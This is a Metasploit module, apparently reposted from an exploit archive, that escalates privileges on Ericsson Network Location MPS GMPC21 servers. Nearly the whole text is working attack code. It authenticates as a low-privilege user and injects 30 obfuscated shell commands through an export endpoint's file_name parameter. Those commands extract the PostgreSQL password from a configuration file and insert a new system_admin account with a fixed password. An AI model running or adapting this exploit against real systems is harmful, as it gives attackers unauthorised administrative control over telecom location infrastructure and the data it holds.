Exploit for Ericsson Network Location MPS GMPC21 Privilege Escalation

Name: Exploit for Ericsson Network Location MPS GMPC21 Privilege Escalation
Rating: 5 (240 reviews)
2021-11-02 | CVSS 7.1
## https://sploitus.com/exploit?id=PACKETSTORM:164750
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ericsson Network Location MPS - Privilege Escalation (Meow Variant)',  
'Description' => %q(  
This module exploits privilege escalation vulnerability in Ericsson Network Location Mobile Positioning Systems.  
It creates a new admin user with SQL Query. Thanks to the Meow variant, it does this with the PostgreSQL password it stole.  
Therefore low authority user can gain the authority of "admin" on the application.  
  
You can examine the exploit "Restrictions Bypass RCE", which is the main source of the vulnerability.   
"version":"GMPC21","product_number":"CSH 109 025 R6A", "cluster version: 21"  
  
/////// This 0day has been published at DEFCON29-PHV Village. ///////   
  
),  
'References' =>  
[  
[ 'CVE', '2021-' ],  
[ 'URL', 'https://pentest.com.tr/blog/RCE-via-Meow-Variant-along-with-an-Example-0day-PacketHackingVillage-Defcon-29.html' ],  
[ 'URL', 'https://www.ericsson.com/en/portfolio/digital-services/automated-network-operations/analytics-and-assurance/ericsson-network-location'],  
[ 'URL', 'https://www.wallofsheep.com/pages/dc29#akkus']  
],  
'Author' =>  
[  
'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => "Apr 21 2021",  
'DefaultOptions' =>  
{  
'RPORT' => 10083,  
'SSL' => true  
}  
))  
  
register_options([  
OptString.new('USERNAME', [true, 'NLG Username']),  
OptString.new('PASSWORD', [true, 'NLG Password']),  
OptString.new('TARGETURI', [true, 'Base path for NLG application', '/'])  
])  
end  
# for Origin and Referer headers  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
# split strings to salt  
def split(data, string_to_split)   
word = data.scan(/"#{string_to_split}":"([\S\s]*?)"/)  
string = word.split('"]').join('').split('["').join('')  
return string  
end   
  
def cluster  
  
res = send_request_cgi({  
# clusters information to API directories  
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', 'clusters'),  
'method' => 'GET'  
})   
  
if res && res.code == 200 && res.body =~ /version/  
cls_version = split(res.body, "version")  
cls_node_type = split(res.body, "node_type")  
cls_name = split(res.body, "cluster_name")  
cls_id = cls_version + "-" + cls_node_type + "-" + cls_name  
return cls_version, cls_node_type, cls_name, cls_id  
else  
fail_with(Failure::NotVulnerable, 'Cluster not detected. Check the informations!')  
end   
end  
  
def permission_check(token)  
# By giving numbers to the vulnerable areas, we can easily use them in JSON format.  
json_urls = '{"1":"/cells/gsm/cgi_cells/","2":"/smpp/", "3":"/positioning_controls/gsm/", "4":"/psap/wireless/specific_routings/", "5":"/numbering/plmns/"}'  
parse = JSON.parse(json_urls)  
cls_id = cluster[3]  
cls_node_type = cluster[1]  
  
i = 1  
while i <= 6 do  
link = parse["#{i}"]  
i +=1  
# The cells export operation returns 409 response when frequent requests are made.   
# Therefore, if it is time for check cells import operation, we tell expoit to sleep for 2 seconds.   
if link == "/cells/gsm/cgi_cells/"  
sleep(7)  
end  
filename = Rex::Text.rand_text_alpha_lower(6)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cls_id, cls_node_type, link, 'export?file_name=/export/home/mpcadmin/', filename),  
'method' => 'GET',  
'headers' =>  
{  
'X-Auth-Token' => token,  
'Origin' => "#{peer}"  
}  
})   
  
if res && res.code == 403 then # !200   
next  
elsif res && res.code == 200   
return link, true   
elsif res && res.code == 400   
return link, true   
elsif res && res.code == 404 # This means i == 5 (a non index) and response returns 404.  
return "no link", false   
end   
end  
end  
  
def check  
# check connection and login  
token = login(datastore['USERNAME'], datastore['PASSWORD'])  
res = send_request_cgi({  
# product information check   
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', cluster[3], 'product_info', 'about'),  
'method' => 'GET',  
'headers' =>  
{  
'X-Auth-Token' => token,  
'Origin' => "#{peer}"  
}  
})   
  
if res && res.code == 200 && res.body =~ /version/  
version = split(res.body, "version")  
pnumber = split(res.body, "product_number")  
print_status("Product Number:#{pnumber} - Version:#{version}")   
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def login(user, pass)  
  
json_login = '{"auth": {"method": "password","password": {"user_id": "' + datastore["USERNAME"] + '","password": "' + datastore["PASSWORD"] + '"}}}'  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),  
'headers' =>  
{  
'Origin' => "#{peer}"  
},  
'data' => json_login  
})   
  
if res && res.code == 200 && res.body =~ /true/  
auth_token = split(res.body, "authToken")  
return auth_token  
else  
fail_with(Failure::NotVulnerable, 'Login failed. Check your informations!')  
end   
end  
  
def prep_payloads(token, link)  
configname = Rex::Text.rand_text_alpha_lower(12)  
newuser = Rex::Text.rand_text_alpha_lower(8)  
newpass = "PrivEsc0day!"  
#/ = 2F - y  
#; = 3B - z  
#| = 7C - p  
#>& = 3E26 - v  
#>/ = 3E2F - g  
#> = 3E - k  
#< = 3C - c   
#' = 27 - t  
#$ = 24 - d  
#\ = 5C - b  
#! = 21 - u  
#" = 22 - x   
#( = 28 - m  
#) = 29 - i  
#, = 2C - o  
#_ = 5F - a  
# echo `xxd -r -p <<< 2F`>y  
payloads = '{"1":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2F`>y&&pwd>fl") +'", '  
# echo `xxd -r -p <<< 3B`>z  
payloads << '"2":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3B`>z&&pwd>fl") +'", '   
#echo `xxd -r -p <<< 7C`>p  
payloads << '"3":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}7C`>p&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 3E26`>v  
payloads << '"4":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E26`>v&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 3E`>k  
payloads << '"5":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}3E`>k&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 27`>t  
payloads << '"6":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}27`>t&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 24`>d  
payloads << '"7":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}24`>d&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 5C`>b  
payloads << '"8":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5C`>b&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 21`>u  
payloads << '"9":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}21`>u&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 22`>x  
payloads << '"10":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}22`>x&&pwd>fl") +'", '   
#echo `xxd -r -p <<< 28`>x  
payloads << '"11":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}28`>m&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 29`>x  
payloads << '"12":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}29`>i&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 2C`>x  
payloads << '"13":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}2C`>o&&pwd>fl") +'", '  
#echo `xxd -r -p <<< 5F`>x  
payloads << '"14":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`xxd${IFS}-r${IFS}-p${IFS}<<<${IFS}5F`>a&&pwd>fl") +'", '  
#cp /opt/consul/setting/factory/GMPC/parameter/gmpc_schema.json [random-file-name].json  
payloads << '"15":"' + Rex::Text.uri_encode("IFS=',.';cp${IFS}`cat${IFS}y`opt`cat${IFS}y`consul`cat${IFS}y`setting`cat${IFS}y`factory`cat${IFS}y`GMPC`cat${IFS}y`parameter`cat${IFS}y`gmpc_schema.json${IFS}#{configname}.json&&pwd>fl") +'", '  
#echo sed '31843!d' [random-file-name].json > pass1.sh   
payloads << '"16":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}sed${IFS}`cat${IFS}t`31843`cat${IFS}u`d`cat${IFS}t`${IFS}#{configname}.json${IFS}>pass1.sh&&pwd>fl") +'", '  
#chmod +x pass1.sh  
payloads << '"17":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass1.sh&&pwd>fl") +'", '  
#sh pass1.sh > pass2  
payloads << '"18":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass1.sh>pass2&&pwd>fl") +'", '  
#cat pass2 | awk -F[:,\"] '{print $5}' > pass3.sh  
payloads << '"19":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}cat${IFS}pass2${IFS}`cat${IFS}p`${IFS}awk${IFS}-F[:,`cat${IFS}b``cat${IFS}x`]${IFS}`cat${IFS}t`{print${IFS}`cat${IFS}d`5}`cat${IFS}t`>pass3.sh&&pwd>fl") +'", '   
#chmod +x pass3.sh  
payloads << '"20":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}pass3.sh&&pwd>fl") +'", '  
#sh pass3.sh > passlast  
#passlast will be pgsql password...  
payloads << '"21":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}pass3.sh>passlast&&pwd>fl") +'", '   
#echo PGPASSWORD='`cat passlast`' > sqlq1  
payloads << '"22":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}PGPASSWORD=`cat${IFS}t``cat${IFS}passlast``cat${IFS}t`>sqlq1&&pwd>fl") +'", '  
#echo '/opt/pgsql/bin/psql -U mps -d mpsdb -c "INSERT INTO ' > sqlq2  
payloads << '"23":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}y`opt`cat${IFS}y`pgsql`cat${IFS}y`bin`cat${IFS}y`psql${IFS}-U${IFS}mps${IFS}-d${IFS}mpsdb${IFS}-c${IFS}`cat${IFS}x`INSERT${IFS}INTO>sqlq2&&pwd>fl") +'", '  
#echo 'omuser(id,enabled,fail_times,latest_fail_at,name' > sqlq3  
payloads << '"24":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}omuser`cat${IFS}m`id`cat${IFS}o`enabled`cat${IFS}o`fail`cat${IFS}a`times`cat${IFS}o`latest`cat${IFS}a`fail`cat${IFS}a`at`cat${IFS}o`name>sqlq3&&pwd>fl") +'", '  
#echo ',password,password_expires_at,role)' > sqlq4  
payloads << '"25":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}o`password`cat${IFS}o`password`cat${IFS}a`expires`cat${IFS}a`at`cat${IFS}o`role`cat${IFS}i`>sqlq4&&pwd>fl") +'", '  
#echo "VALUES ('privesc155',0,0,0,'test8day','" > sqlq5  
payloads << '"26":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}VALUES${IFS}`cat${IFS}m``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o`0`cat${IFS}o``cat${IFS}t`#{newuser}`cat${IFS}t``cat${IFS}o``cat${IFS}t`>sqlq5&&pwd>fl") +'", '  
# echo ada628c3ae88b9cf90e61d26d2d852c161e30de9',0,'system_admin');" > sqlq6  
payloads << '"27":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}ada628c3ae88b9cf90e61d26d2d852c161e30de9`cat${IFS}t``cat${IFS}o`0`cat${IFS}o``cat${IFS}t`system`cat${IFS}a`admin`cat${IFS}t``cat${IFS}i``cat${IFS}z``cat${IFS}x`>sqlq6&&pwd>fl") +'", '  
#echo `cat sqlq1` `cat sqlq2``cat sqlq3``cat sqlq4` `cat sqlq5``cat sqlq6` > sqlq7.sh  
payloads << '"28":"' + Rex::Text.uri_encode("IFS=',.';echo${IFS}`cat${IFS}sqlq1`${IFS}`cat${IFS}sqlq2`${IFS}`cat${IFS}sqlq3``cat${IFS}sqlq4`${IFS}`cat${IFS}sqlq5``cat${IFS}sqlq6`>sqlq7.sh&&pwd>fl") +'", '  
#chmod +x sqlq7.sh  
payloads << '"29":"' + Rex::Text.uri_encode("IFS=',.';chmod${IFS}+x${IFS}sqlq7.sh&&pwd>fl") +'", '  
#sh sqlq7.sh  
payloads << '"30":"' + Rex::Text.uri_encode("IFS=',.';sh${IFS}sqlq7.sh&&pwd>fl") +'"}'  
  
if link == "/cells/gsm/cgi_cells/"  
print_status("Your user must be 'gmpc_celldata_admin'. That's why Expoit going to run slowly. Please be patient!")  
end   
parse = JSON.parse(payloads)  
cls_id = cluster[3]  
cls_node_type = cluster[1]  
i = 1  
while i <= 31 do  
pay = parse["#{i}"]  
i +=1  
  
if link == "/cells/gsm/cgi_cells/"  
sleep(15)  
end  
  
send_payloads(cls_id, cls_node_type, token, link, pay)   
if i == 31  
check_user(newuser, newpass, link)   
end   
end   
end  
  
def check_user(user, pass, link)  
  
json_login = '{"auth": {"method": "password","password": {"user_id": "' + user + '","password": "' + pass + '"}}}'  
if link == "/cells/gsm/cgi_cells/"  
print_good("Privilege escalation successful!")  
print_good("The new system admin user has been created successfully.")  
print_status("New User : #{user}")  
print_status("New Pass : #{pass}")  
else   
res = send_request_cgi(  
{  
'method' => 'POST',  
'ctype' => 'application/json',  
'uri' => normalize_uri(target_uri.path, 'api', 'login', 'nlg', 'gmpc', 'auth', 'tokens'),  
'headers' =>  
{  
'Origin' => "#{peer}"  
},  
'data' => json_login  
})   
  
if res && res.code == 200 && res.body =~ /true/  
print_good("Privilege escalation successful!")  
print_good("The new system admin user has been created successfully.")  
print_status("New User : #{user}")  
print_status("New Pass : #{pass}")  
else  
fail_with(Failure::NotVulnerable, 'Something went wrong. New user could not be created.')  
end  
end   
end  
  
def get_pgsql_pass(config_name)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, config_name),  
'method' => 'GET',  
'headers' =>  
{  
'Origin' => "#{peer}"  
}  
})  
  
parse = JSON.parse(res.body)   
pass = parse['AML']  
puts pass   
end  
  
  
def send_payloads(id, type, token, link, pay)   
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'value', 'v1', 'data', id, type, link, "export?file_name=/export/home/mpcadmin/%7C#{pay}"),  
'method' => 'GET',  
'headers' =>  
{  
'X-Auth-Token' => token,  
'Origin' => "#{peer}"  
}  
})   
  
end  
  
##  
# Exploiting phase  
##  
def run  
  
auth_token = login(datastore['USERNAME'], datastore['PASSWORD'])  
unless permission_check(auth_token)[1] == true  
fail_with(Failure::NotVulnerable, 'The user has no permission to perform the operation!')  
else   
perm_link = permission_check(auth_token)[0]  
print_good("Excellent! The user #{datastore['USERNAME']} has permission on #{perm_link}")  
end   
  
prep_payloads(auth_token, perm_link)  
  
end  
end